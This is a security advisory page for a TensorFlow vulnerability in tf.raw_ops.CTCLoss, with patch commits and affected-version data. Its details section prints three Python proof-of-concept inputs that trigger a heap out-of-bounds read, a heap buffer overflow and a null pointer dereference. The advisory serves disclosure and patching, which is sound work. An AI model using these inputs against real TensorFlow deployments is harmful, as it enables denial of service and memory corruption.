GHSA-vvg4-vgrv-xfr7

    Dashboard / Vulnerabilities / GHSA-vvg4-vgrv-xfr7

    GHSA-vvg4-vgrv-xfr7

    Published: 21 May 2021Last Modified: 10 Sept 2026

    Summary: Incomplete validation in `tf.raw_ops.CTCLoss`

    Details: ### Impact Incomplete validation in `tf.raw_ops.CTCLoss` allows an attacker to trigger an OOB read from heap: ```python import tensorflow as tf inputs = tf.constant([], shape=[10, 16, 0], dtype=tf.float32) labels_indices = tf.constant([], shape=[8, 0], dtype=tf.int64) labels_values = tf.constant([-100] * 8, shape=[8], dtype=tf.int32) sequence_length = tf.constant([-100] * 16, shape=[16], dtype=tf.int32) tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices, labels_values=labels_values, sequence_length=sequence_length, preprocess_collapse_repeated=True, ctc_merge_repeated=False, ignore_longer_outputs_than_inputs=True) ``` An attacker can also trigger a heap buffer overflow: ```python import tensorflow as tf inputs = tf.constant([], shape=[7, 2, 0], dtype=tf.float32) labels_indices = tf.constant([-100, -100], shape=[2, 1], dtype=tf.int64) labels_values = tf.constant([-100, -100], shape=[2], dtype=tf.int32) sequence_length = tf.constant([-100, -100], shape=[2], dtype=tf.int32) tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices, labels_values=labels_values, sequence_length=sequence_length, preprocess_collapse_repeated=False, ctc_merge_repeated=False, ignore_longer_outputs_than_inputs=False) ``` Finally, an attacker can trigger a null pointer dereference: ```python import tensorflow as tf inputs = tf.constant([], shape=[0, 2, 11], dtype=tf.float32) labels_indices = tf.constant([], shape=[0, 2], dtype=tf.int64) labels_values = tf.constant([], shape=[0], dtype=tf.int32) sequence_length = tf.constant([-100, -100], shape=[2], dtype=tf.int32) tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices, labels_values=labels_values, sequence_length=sequence_length, preprocess_collapse_repeated=False, ctc_merge_repeated=False, ignore_longer_outputs_than_inputs=False) ``` ### Patches We have patched the issue in GitHub commit[14607c0707040d775e06b6817325640cb4b5864c](https://github.com/tensorflow/tensorflow/commit/14607c0707040d775e06b6817325640cb4b5864c) followed by GitHub commit [4504a081af71514bb1828048363e6540f797005b](https://github.com/tensorflow/tensorflow/commit/4504a081af71514bb1828048363e6540f797005b). The fix will be included in TensorFlow 2.5.0. We will also cherrypick these commits on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

    Affected packages

    Package

    Name: tensorflow

    Purl: pkg:pypi/tensorflow

    Affected ranges

    Type: ECOSYSTEM

    Events:

    Introduced- 0
    Fixed -2.1.4

    Affected versions

    0.12.0
    0.12.1

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High
    GHSA-vvg4-vgrv-xfr7 | CVE-DB